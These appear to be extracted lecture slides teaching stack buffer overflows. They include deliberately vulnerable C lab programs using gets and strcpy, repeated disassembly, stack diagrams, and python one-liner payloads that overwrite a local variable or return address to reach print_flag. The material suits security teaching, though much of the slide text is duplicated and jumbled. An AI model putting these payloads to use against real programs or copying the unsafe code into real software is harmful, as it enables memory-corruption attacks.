    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    
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Buffer Overflow Example: overflowlocal1
p

i = 0

RET

ebp Old ebp

esp

[ebp-0xc] 0; Local v: j
0x20

000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    

[ebp+8]
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000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    

Buffer Overflow Example: overflowlocal1
p

i = 0

RET

ebp Old ebp

[ebp+0xc]

0; Local v: j
0x20

pesp

[ebp+8]

[ebp-0xc]



|  71

000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    

Buffer Overflow Example: overflowlocal1
p

i = 0

RET

ebp Old ebp

[ebp+8]

[ebp+0xc]

0; Local v: j

pesp

[ebp-0xc]

eax; [ebp-0x12]
Local v: buf; 6 bytes

0x20
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000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    

Buffer Overflow Example: overflowlocal1
p

i = 0

RET

Old ebp

0; Local v: j
0x20

p

Local v: buf; 6 bytes

Addr of bufesp

ebp

[ebp+8]

[ebp+0xc]

[ebp-0xc]

eax; [ebp-0x12]
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Buffer Overflow Example: overflowlocal1
p

i = 0

RET

Old ebp

0; Local v: j
0x20

p

Local v: buf; 6 bytes

Addr of bufesp

000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    

ebp

[ebp+8]

[ebp+0xc]

[ebp-0xc]

eax; [ebp-0x12]
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Buffer Overflow Example: overflowlocal1
p

i = 0

RET

Old ebp

??; Local v: j
0x20

p

Local v: buf; 6 bytes

Addr of buf

000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    

esp

ebp

[ebp+8]

[ebp+0xc]

[ebp-0xc]

eax; [ebp-0x12]
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Buffer Overflow Example: overflowlocal1
p

i = 0

RET

Old ebp

??; Local v: j
0x20

p

Local v: buf; 6 bytes

Addr of buf

000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    

esp

ebp

[ebp+8]

[ebp+0xc]

[ebp-0xc]

eax; [ebp-0x12]
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Buffer Overflow Example: overflowlocal1
p

i = 0

RET

Old ebp

??; Local v: j
0x20

p

Local v: buf; 6 bytes

Addr of buf
0x8

esp

ebp

[ebp+8]

[ebp+0xc]

[ebp-0xc]

eax; [ebp-0x12]

000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    
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Buffer Overflow Example: overflowlocal1
p

i = 0

RET

Old ebp

??; Local v: j
0x18

Local v: buf; 6 bytes

000012c4 <vulfoo>:

    12c4:       55                      push   ebp

    12c5:       89 e5                   mov    ebp,esp

    12c7:       83 ec 18                sub    esp,0x18

    12ca:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]

    12cd:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax

    12d0:       83 ec 08                sub    esp,0x8

    12d3:       ff 75 0c                push   DWORD PTR [ebp+0xc]

    12d6:       8d 45 ee                lea    eax,[ebp-0x12]

    12d9:       50                      push   eax

    12da:       e8 fc ff ff ff          call   12db <vulfoo+0x17>

    12df:       83 c4 10                add    esp,0x10

    12e2:       83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0

    12e6:       74 07                   je     12ef <vulfoo+0x2b>

    12e8:       e8 10 ff ff ff          call   11fd <print_flag>

    12ed:       eb 10                   jmp    12ff <vulfoo+0x3b>

    12ef:       83 ec 0c                sub    esp,0xc

    12f2:       68 45 20 00 00          push   0x2045

    12f7:       e8 fc ff ff ff          call   12f8 <vulfoo+0x34>

    12fc:       83 c4 10                add    esp,0x10

    12ff:       b8 00 00 00 00          mov    eax,0x0

    1304:       c9                      leave  

    1305:       c3                      ret    

esp

ebp

[ebp+8]

[ebp+0xc]

[ebp-0xc]

eax; [ebp-0x12]
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Buffer Overflow Example: code/overflowlocal 64-bit

int vulfoo(int i, char* p)

{

  int j = i;

  char buf[6];

  strcpy(buf, p);

  if (j)

    print_flag();

  else

    printf("I pity the fool!\n");

  return 0;

}

int main(int argc, char *argv[])

{

  if (argc == 2)

    vulfoo(0, argv[1]);

}

000000000000125e <vulfoo>:

    125e:       55                      push   rbp

    125f:       48 89 e5                mov    rbp,rsp

    1262:       48 83 ec 20           sub    rsp,0x20

    1266:       89 7d ec                mov    DWORD PTR [rbp-0x14],edi

    1269:       48 89 75 e0           mov    QWORD PTR [rbp-0x20],rsi

    126d:       8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]

    1270:       89 45 fc                 mov    DWORD PTR [rbp-0x4],eax

    1273:       48 8b 55 e0           mov    rdx,QWORD PTR [rbp-0x20]

    1277:       48 8d 45 f6            lea    rax,[rbp-0xa]

    127b:       48 89 d6                mov    rsi,rdx

    127e:       48 89 c7                 mov    rdi,rax

    1281:       e8 aa fd ff ff          call   1030 <strcpy@plt>

    1286:       83 7d fc 00            cmp    DWORD PTR [rbp-0x4],0x0

    128a:       74 0c                     je     1298 <vulfoo+0x3a>

    128c:       b8 00 00 00 00      mov    eax,0x0

    1291:       e8 f3 fe ff ff           call   1189 <print_flag>

    1296:       eb 0c                     jmp    12a4 <vulfoo+0x46>

    1298:       48 8d 3d a6 0d 00 00    lea    rdi,[rip+0xda6]   # 2045 <_IO_stdin_used+0x45>

    129f:       e8 9c fd ff ff          call   1040 <puts@plt>

    12a4:       b8 00 00 00 00     mov    eax,0x0

    12a9:       c9                         leave  

    12aa:       c3                         ret   
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Exercise: code/overflowlocal2
int vulfoo(int i, char* p)

{

  int j = i;

  char buf[6];

  strcpy(buf, p);

  if (j == 0x12345678)

    print_flag();

  else

    printf("I pity the fool!\n");

  return 0;

}

int main(int argc, char *argv[])

{

  vulfoo(argc, argv[1]);

}
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Usable Shell Command

Run a program and use another program’s output as a parameter

./program $(python3 -c "print ('\x12\x34’*5)")

Compute some data and redirect the output to another program’s stdin

python3 -c "print ('A'*18+'\x2d\x62\x55\x56' + 'A'*4 + '\x78\x56\x34\x12’)" | ./program
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● Local variables

○ Data-only Attack

● Saved ebp
○ Fake function stack frame

● Return address

○ Return to shellcode

○ ROP

● Callee’s parameters
○ Return to a function with parameters

○ Return to libc

● …

Parameter 1

Parameter 2

RET

Parameter 3

Saved ebp (caller)

Local variables (callee)

…

Caller’s stack 

frame

(inactive)

…

Callee’s stack 

frame

(active)

What is on a function stack?
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Overwrite RET
Control-flow Hijacking



|  83

Return address and Function frame pointer

Saved (old) EBP/RBP (frame pointer, data pointer) and saved EIP/RIP 
(RET, return address, code pointer) are stored on the stack.

What prevents a program/function from writing/changing those 
values?
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Stack-based Buffer Overflow

● An attacker can overwrite the saved EIP/RIP value on the stack

○ The attacker's goal is to change a saved EIP/RIP value to point to attacker's 
data/code

○ Where the program will start executing the attacker's code

● One of the most common vulnerabilities in C and C++ programs.
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Buffer Overflow Example: overflowret1_32

int vulfoo()

{

char buf[6];

gets(buf); 

return 0;

}

int main(int argc, char *argv[])

{

printf("The addr of print_flag is %p\n", print_flag); 

vulfoo();

printf("I pity the fool!\n");

}
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gets()

● gets() reads a line from stdin into the buffer pointed to by s until either a 
terminating newline or EOF, which it replaces with a null byte ('\0').

● No check for buffer overrun is performed (see BUGS below).

● An unsafe function. Never use this when you program.
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00001338 <vulfoo>:
1338: f3 0f 1e fb endbr32

133c: 55 push ebp

133d: 89 e5 mov ebp,esp
133f: 83 ec 18 sub esp,0x18

1342: 83 ec 0c sub esp,0xc

1345: 8d 45 f2 lea eax,[ebp-0xe]
1348: 50 push eax

1349: e8 fc ff ff ff call 134a <vulfoo+0x12> 

134e: 83 c4 10 add esp,0x10
1351: b8 00 00 00 00 mov eax,0x0

1356: c9 leave

1357: c3 ret

...

...

RETesp
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00001338

    1338:

<vulfoo>: 

  f3 0f 1e fb endbr32

133c: 55 push  ebp

133d:

133f:

1342:
1345:

1348:

1349:
134e:

1351:

1356:
1357:

89 e5

83 ec 18

83 ec 0c
8d 45 f2

50

e8 fc ff ff ff 
83 c4 10

b8 00 00 00 00

c9 c3

mov ebp,esp

sub esp,0x18 sub

esp,0xc
lea eax,[ebp-0xe] push  eax

call 134a <vulfoo+0x12> add

esp,0x10
mov eax,0x0

leave ret

esp

...

...

RET

saved ebp (main)
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00001338

1338:
133c:

<vulfoo>:

f3 0f 1e fb 

55
endbr32 

push ebp

133d: 89 e5 mov ebp,esp

133f:

1342:

1345:
1348:

1349:

134e:
1351:

1356:

1357:

83 ec 18

83 ec 0c

8d 45 f2
50

e8 fc ff ff ff 

83 c4 10
b8 00 00 00 00

c9 

c3

sub esp,0x18

sub esp,0xc

lea eax,[ebp-0xe] 
push eax

call 134a <vulfoo+0x12> 

add esp,0x10
mov eax,0x0

leave 

ret

ebp, esp

...

...

RET

saved ebp (main)
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00001338 <vulfoo>:

1338: f3 0f 1e fb endbr32 

133c: 55 push ebp
133d: 89 e5 mov ebp,esp

133f: 83 ec 18 sub esp,0x18

1342: 83 ec 0c sub esp,0xc

1345: 8d 45 f2 lea eax,[ebp-0xe]

1348: 50 push eax
1349: e8 fc ff ff ff call 134a <vulfoo+0x12> 

134e: 83 c4 10 add esp,0x10

1351: b8 00 00 00 00 mov eax,0x0
1356: c9 leave

1357: c3 ret

ebp

esp

...

...

RET

saved ebp (main)

something 0x18 bytes
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00001338

1338:

133c:
133d:
133f:

<vulfoo>:

f3 0f 1e fb 

55
89 e5
83 ec 18

endbr32 

push ebp
mov ebp,esp 

sub esp,0x18

1342: 83 ec 0c sub esp,0xc

1345:

1348:

1349:
134e:

1351:

1356:
1357:

8d 45 f2

50

e8 fc ff ff ff 
83 c4 10

b8 00 00 00 00

c9 
c3

lea eax,[ebp-0xe]

push eax

call 134a <vulfoo+0x12> 
add esp,0x10

mov eax,0x0

leave 
ret

ebp

esp

...

...

RET

saved ebp (main)

something 0x18 bytes

something 0xc bytes
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00001338

1338:

133c:
133d:

133f:
1342:

<vulfoo>:

f3 0f 1e fb 

55
89 e5

83 ec 18
83 ec 0c

endbr32 

push ebp
mov ebp,esp 

sub esp,0x18 

sub esp,0xc

1345: 8d 45 f2 lea eax,[ebp-0xe]

1348:

1349:
134e:

1351:

1356:
1357:

50

e8 fc ff ff ff 
83 c4 10

b8 00 00 00 00

c9 
c3

push eax

call 134a <vulfoo+0x12> 
add esp,0x10

mov eax,0x0

leave 
ret

ebp 

eax = ebp - 0xe

esp

...

...

RET

saved ebp (main)

something 0x18 bytes

something 0xc bytes
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00001338

1338:

133c:
133d:

133f:

1342:
1345:

<vulfoo>:

f3 0f 1e fb 

55
89 e5

83 ec 18

83 ec 0c
8d 45 f2

endbr32 

push ebp
mov ebp,esp 

sub esp,0x18 

sub esp,0xc
lea eax,[ebp-0xe]

1348: 50 push eax

1349:

134e:
1351:

1356:

1357:

e8 fc ff ff ff

83 c4 10
b8 00 00 00 00

c9 

c3

call 134a <vulfoo+0x12>

add esp,0x10 
mov eax,0x0

leave 

ret

esp

...

...

RET

saved ebp (main)

something 0x18 bytes

something 0xc bytes

eax; addr of buf

ebp 

eax = ebp - 0xe
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00001338

1338:

133c:
133d:

133f:

1342:
1345:
1348:

<vulfoo>:

f3 0f 1e fb 

55
89 e5

83 ec 18

83 ec 0c
8d 45 f2
50

endbr32 

push ebp
mov ebp,esp 

sub esp,0x18 

sub esp,0xc
lea eax,[ebp-0xe] 

push eax

1349: e8 fc ff ff ff call 134a <vulfoo+0x12>

134e:

1351:
1356:

1357:

83 c4 10

b8 00 00 00 00
c9 

c3

add esp,0x10

mov eax,0x0
leave 

ret

esp

...

...

...

RET

saved ebp (main)

something 0x18 bytes

something 0xc bytes

eax; addr of buf

ebp 

eax = ebp - 0xe
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00001338

1338:

133c:
133d:

133f:

1342:
1345:

1348:
1349:

<vulfoo>:

f3 0f 1e fb 

55
89 e5

83 ec 18

83 ec 0c
8d 45 f2

50
e8 fc ff ff ff

endbr32 

push ebp
mov ebp,esp 

sub esp,0x18 

sub esp,0xc
lea eax,[ebp-0xe] 

push eax
call 134a <vulfoo+0x12>

134e: 83 c4 10 add esp,0x10
1351: b8 00 00 00 00 mov eax,0x0

1356: c9 leave

1357: c3 ret

ebp 

eax = ebp - 0xe

esp

...

...

RET

saved ebp (main)

something 0x18 bytes

something 0xc bytes
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00001338 <vulfoo>:

1338: f3 0f 1e fb endbr32 

133c: 55 push ebp
133d: 89 e5 mov ebp,esp

133f: 83 ec 18 sub esp,0x18

1342: 83 ec 0c sub esp,0xc
1345: 8d 45 f2 lea eax,[ebp-0xe]

1348: 50 push eax

1349: e8 fc ff ff ff call 134a <vulfoo+0x12> 
134e: 83 c4 10 add esp,0x10

1351: b8 00 00 00 00 mov eax,0x0
1356: c9 leave

1357: c3 ret

ebp

esp

...

...

RET

saved ebp (main)

something 0x18 bytes

something 0xc bytes
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00001338 <vulfoo>:

1338: f3 0f 1e fb endbr32 

133c: 55 push ebp
133d: 89 e5 mov ebp,esp

133f: 83 ec 18 sub esp,0x18

1342: 83 ec 0c sub esp,0xc
1345: 8d 45 f2 lea eax,[ebp-0xe]

1348: 50 push eax

1349: e8 fc ff ff ff call 134a <vulfoo+0x12> 
134e: 83 c4 10 add esp,0x10
1351: b8 00 00 00 00 mov eax,0x0

1356: c9 leave
1357: c3 ret

esp, ebp

mov esp, ebp 
pop ebp

...

...

RET

saved ebp (main)

…

…

…
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00001338 <vulfoo>:

1338: f3 0f 1e fb endbr32 

133c: 55 push ebp
133d: 89 e5 mov ebp,esp

133f: 83 ec 18 sub esp,0x18

1342: 83 ec 0c sub esp,0xc
1345: 8d 45 f2 lea eax,[ebp-0xe]

1348: 50 push eax

1349: e8 fc ff ff ff call 134a <vulfoo+0x12> 
134e: 83 c4 10 add esp,0x10
1351: b8 00 00 00 00 mov eax,0x0

1356: c9 leave
1357: c3 ret

esp

ebp -> main’s 

stack frame

mov esp, ebp

pop ebp

...

...

RET

…

…

…
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00001338 <vulfoo>:

1338: f3 0f 1e fb endbr32 

133c: 55 push ebp
133d: 89 e5 mov ebp,esp

133f: 83 ec 18 sub esp,0x18

1342: 83 ec 0c sub esp,0xc
1345: 8d 45 f2 lea eax,[ebp-0xe]

1348: 50 push eax

1349: e8 fc ff ff ff call 134a <vulfoo+0x12> 
134e: 83 c4 10 add esp,0x10
1351: b8 00 00 00 00 mov eax,0x0

1356: c9 leave
1357: c3 ret

esp

mov esp, ebp

pop ebp

eip = RET

...

...

RET

…

…

…
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Overwrite RET

00001338 <vulfoo>:

1338: f3 0f 1e fb endbr32 

133c: 55 push ebp
133d: 89 e5 mov ebp,esp

133f: 83 ec 18 sub esp,0x18

1342: 83 ec 0c sub esp,0xc
1345: 8d 45 f2 lea eax,[ebp-0xe]

1348: 50 push eax

1349: e8 fc ff ff ff call 134a <vulfoo+0x12> 
134e: 83 c4 10 add esp,0x10

1351: b8 00 00 00 00 mov eax,0x0

1356: c9 leave
1357: c3 ret

ebp 

eax = ebp - 0xe

esp

...

Exploit will be something like:

python2 -c "print 'A'*18+'\xfd\x55\x55\x56'" | ./bufferoverflow_overflowret1_32

...

...

addr of printsecret

saved ebp (main)

something 0x18 bytes

something 0xc bytes

eax; addr of buf
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● Local variables

○ Data-only Attack

● Saved ebp
○ Fake function stack frame

● Return address

○ Return to shellcode

○ ROP

● Callee’s parameters
○ Return to a function with parameters

○ Return to libc

● …

Parameter 1

Parameter 2

RET

Parameter 3

Saved ebp (caller)

Local variables (callee)

…

Caller’s stack 

frame

(inactive)

…

Callee’s stack 

frame

(active)

What is on a function stack?
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Buffer Overflow Example: overflowret2_32
int printsecret(int i)

{

if (i == 0x12345678)

print_flag(); 

else

printf("I pity the fool!\n");

exit(0);} 

int vulfoo()

{

char buf[6];

gets(buf); 

return 0;}

int main(int argc, char *argv[])

{
printf("The addr of printsecret is %p\n", printsecret); 

vulfoo();

printf("I pity the fool!\n");

}
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...

RET

Saved ebp

buf

…
int printsecret(int i)

{

if (i == 0x12345678)

print_flag();

else

printf("I pity the fool!\n");

exit(0);} 

int vulfoo()

{

char buf[6];

gets(buf);

return 0;}

int main(int argc, char *argv[])

{
printf("The addr of printsecret is %p\n", 

printsecret);

vulfoo();

printf("I pity the fool!\n");
}

ebp
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int printsecret(int i)

{

if (i == 0x12345678)

print_flag(); 

else

printf("I pity the fool!\n");

exit(0);} 

int vulfoo()

{

char buf[6];

gets(buf);

return 0;}

int main(int argc, char *argv[])

{
printf("The addr of printsecret is %p\n", 

printsecret);

vulfoo();

printf("I pity the fool!\n");
}

ebp

...

addr of printsecret

AAAA

buf

…
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int printsecret(int i)

{

if (i == 0x12345678)

print_flag();

else

printf("I pity the fool!\n");

exit(0);}

int vulfoo()

{

char buf[6];

gets(buf);
return 0;}

int main(int argc, char *argv[])

{

printf("The addr of printsecret is %p\n", 

printsecret);

vulfoo();

printf("I pity the fool!\n");

}

esp, ebp

mov esp, ebp
pop ebp 
ret

...

addr of printsecret

AAAA

buf

…
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int printsecret(int i)

{

if (i == 0x12345678)

print_flag();

else

printf("I pity the fool!\n");

exit(0);}

int vulfoo()

{

char buf[6];

gets(buf);
return 0;}

int main(int argc, char *argv[])

{

printf("The addr of printsecret is %p\n", 

printsecret);

vulfoo();

printf("I pity the fool!\n");

}

esp

mov esp, ebp

pop ebp
ret

ebp = AAAA ...

addr of printsecret

AAAA

buf

…
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int printsecret(int i)

{

if (i == 0x12345678)

print_flag();

else

printf("I pity the fool!\n");

exit(0);}

int vulfoo()

{

char buf[6];

gets(buf);
return 0;}

int main(int argc, char *argv[])

{

printf("The addr of printsecret is %p\n", 

printsecret);

vulfoo();

printf("I pity the fool!\n");

}

mov esp, ebp 
pop ebp

ret

eip = Addr of printsecret

esp

ebp = AAAA
...

addr of printsecret

AAAA

buf

…
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int printsecret(int i)

{

if (i == 0x12345678)

print_flag();

 else

printf("I pity the fool!\n");

exit(0);}

int vulfoo()

{

char buf[6];

gets(buf); 

return 0;}

int main(int argc, char *argv[])

{

printf("The addr of printsecret is %p\n", 

printsecret);

vulfoo();

printf("I pity the fool!\n");

}

esp

ebp = AAAA

push ebp
mov ebp, esp

...

addr of printsecret

AAAA

buf

…

AAAA
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int printsecret(int i)

{

if (i == 0x12345678)

print_flag(); 

  else

printf("I pity the fool!\n");

exit(0);}

int vulfoo()

{

char buf[6];

gets(buf); 

return 0;}

int main(int argc, char *argv[])

{

printf("The addr of printsecret is %p\n", 

printsecret);

vulfoo();

printf("I pity the fool!\n");

}

ebp, esp

push ebp
mov ebp, esp

...

AAAA

AAAA

buf

…
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int printsecret(int i)
{

if (i == 0x12345678)

print_flag(); 

else

printf("I pity the fool!\n");

exit(0);} 

int vulfoo()

{

char buf[6];

gets(buf); 

return 0;}

int main(int argc, char *argv[])

{

printf("The addr of printsecret is %p\n", 

printsecret);

vulfoo();

printf("I pity the fool!\n");
}

ebp, esp

Address of i to overwrite: 

Buf + sizeof(buf) + 12

RET

AAAA: saved ebp

AAAA

buf

i: Parameter 1
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Overwrite RET and More

int printsecret(int i)

{

if (i == 0x12345678)

print_flag(); 

else

printf("I pity the fool!\n");

exit(0);} 

int vulfoo()

{

char buf[6];

gets(buf);

return 0;}

int main(int argc, char *argv[])

{
printf("The addr of printsecret is %p\n", 

printsecret);

vulfoo();

printf("I pity the fool!\n");
}

ebp 

eax

Exploit will be something like:

python -c "print 'A’*14 +'\x2d\x62\x55\x56' + 'A'*4 + '\x78\x56\x34\x12'" | ./overflowret2_32

does not matter

addr of printsecret

does not matter

buf

0x12345678
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Overwrite RET and More

int printsecret(int i)

{

if (i == 0x12345678)

print_flag(); 

else

printf("I pity the fool!\n");

exit(0);}

int vulfoo()

{

char buf[6];

gets(buf); 

return 0;}

int main(int argc, char *argv[])

{

printf("The addr of printsecret is %p\n", 

printsecret);

vulfoo();

printf("I pity the fool!\n");
}

ebp 

eax

Exploit will be something like:

python -c "print 'A'*18 +'\x2d\x62\x55\x56' + 'A'*4 + '\x78\x56\x34\x12'" | ./ overflowret2_32

does not matter

addr of printsecret

does not matter

buf

0x12345678
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Return to a function with many 
parameter(s)
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Return to function with many arguments?
